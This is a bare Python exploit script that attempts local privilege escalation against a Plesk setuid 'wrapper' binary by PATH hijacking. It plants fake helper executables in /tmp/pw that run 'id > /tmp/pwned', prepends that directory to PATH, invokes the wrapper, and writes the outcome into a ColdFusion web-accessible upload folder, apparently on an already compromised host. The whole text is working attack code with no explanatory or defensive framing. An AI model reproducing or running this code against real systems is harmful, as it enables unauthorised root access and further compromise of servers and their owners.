import os, subprocess
os.system('mkdir -p /tmp/pw')
names=['psa-script','check-quota','wrapper','mod_wrapper','check_quota','psa_admin','check_dns','psa-snapshot','chrootsh','check_mail','check_domain','psa_snapshot']
res=[]
for n in names:
    p='/tmp/pw/'+n
    open(p,'w').write('#!/bin/sh\nid > /tmp/pwned\n')
    os.chmod(p,0o755)
os.environ['PATH']='/tmp/pw:/usr/local/psa/admin/sbin:/usr/bin:/bin'
rc='?'; out=''; pwn=False
try:
    r=subprocess.run(['/usr/local/psa/admin/sbin/wrapper'],capture_output=True,timeout=6)
    rc=r.returncode; out=(r.stdout or b'')+(r.stderr or b'')
except Exception as e:
    out=str(e).encode()
pwn=os.path.exists('/tmp/pwned')
open('/opt/coldfusion8/wwwroot/userfiles/file/wout.txt','w').write('rc=%s pwned=%s out=%s\n'%(rc,pwn,out.decode(errors='replace')))